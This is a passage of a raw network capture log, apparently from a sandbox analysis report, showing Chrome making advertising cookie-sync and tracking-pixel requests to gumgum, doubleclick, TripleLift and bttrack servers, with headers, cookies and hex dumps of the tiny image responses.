2024-04-27 22:42:21 UTC	785	OUT	GET /usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:21 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:21 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	50392	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	802	OUT	GET /usersync?b=rth&i=A4DedH0sMfRledw2RGl_v5wMrPITpJr3gtlSBi02byY&pi=gumgum HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:21 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:21 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	50395	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	773	OUT	GET /usersync?b=sus&i=Zi1-TcCo5sIAAGeZz2wAAAAA HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:22 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:22 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	50394	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:21 UTC	789	OUT	GET /usersync?b=adf&i=1229556523303002514&gdpr=0&gdpr_consent= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:22 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:21 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:22 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	50397	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	826	OUT	GET /pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:22 UTC	617	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://eb2.3lift.com/ebda?gdpr=0&gdpr_consent= Date: Sat, 27 Apr 2024 22:42:22 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 248 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	248	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 65 62 64 61 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://eb2.3lift.com/ebda?gdpr=0&gdpr_consent=">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	50398	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	834	OUT	GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:22 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:22 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	50399	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	1135	OUT	GET /sync?gdpr=0&cmp_cs=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dtriplelift%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync=CgoIoQEQk4vkjfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgoItwIQk4vkjfIxCgkIOhCTi-SN8jEKCQgbEJOL5I3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoJCF8Qk4vkjfIx; receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:22 UTC	1070	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1483 Connection: close P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Secure; SameSite=None; Partitioned; Cache-Control: no-cache, no-store, must-revalidate set-cookie: sync=CgoIoQEQk4vkjfIxCgoIgQIQ7pLljfIxCgoI4gEQ7pLljfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgkISRDukuWN8jEKCQgLEO6S5Y3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoKCJECEO6S5Y3yMQoKCJICEO6S5Y3yMQoKCLQCEO6S5Y3yMQoKCJQCEO6S5Y3yMQoKCLcCEJOL5I3yMQoJCDoQk4vkjfIxCgkIGxCTi-SN8jEKCgjeARDukuWN8jEKCQhfEJOL5I3yMQoJCB8Q7pLljfIx; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/sync; Domain=.3lift.com; Secure; SameSite=None set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:22 UTC	1483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 69 64 3d 33 30 38 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 69 73 2e 63 72 69 74 65 6f 2e 63 6f 6d 2f 64 69 73 2f 75 73 65 72 73 79 6e 63 2e 61 73 70 78 3f 72 3d 34 34 26 70 3d 37 35 26 63 70 3d 74 72 69 70 6c 65 6c 69 66 74 26 63 75 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 67 70 70 3d 24 7b 47 50 50 5f 53 54 52 49 4e 47 5f 32 38 7d 26 67 70 70 5f 73 69 64 3d 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 25 32 46 78 75 69 64 25 33 46 6d 69 64 25 33 44 32 37 31 31 25 32 36 78 75 69 64 25 33 44 25 34 30 25 34 30 43 52 49 54 45 Data Ascii: <!DOCTYPE html><html><body><img id=308 src="https://dis.criteo.com/dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28}&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	50396	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	762	OUT	GET /xuid?mid=5989&xuid=CAESEBJVs4r0NTsVVzWoqwvl4IE&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:22 UTC	612	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:22 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.4	50402	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	757	OUT	GET /xuid?mid=3658&xuid=43e7dc8e-5458-4375-be4a-644737ed4dbd&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:22 UTC	612	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:22 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	50401	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	748	OUT	GET /xuid?mid=2662&xuid=y-TaJ_CqxE2oT_x6V2DIotmiBZqRiSs7IM03DvRfJl8w--~A&dongle=0883 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:22 UTC	612	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:22 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	50400	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	754	OUT	GET /xuid?mid=2319&xuid=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69&dongle=4430 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:22 UTC	612	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:22 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:22 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	50404	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	715	OUT	GET /usersync?b=mag&i=LVIOSA1W-7-6DCM&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:22 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:22 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	50403	192.132.33.68	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	705	OUT	GET /pixel/cookiesyncredir?rurl=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D151%26user_id%3D%7Bglobalid%7D%26expires%3D30%26ssp=triplelift HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:22 UTC	449	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Set-Cookie: GLOBALID=2uKlc8-sIBd987FnpwPEGmSGAw0ApyqAdnU4nXO1JENwDB3aOzPbCUdv-WZNRoDMkNrs_bT0lbMC0; domain=.bttrack.com; expires=Fri, 26-Jul-2024 22:41:36 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Sat, 27 Apr 2024 22:41:35 GMT Connection: close Content-Length: 35 Strict-Transport-Security: max-age=31536000;
2024-04-27 22:42:22 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	50406	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
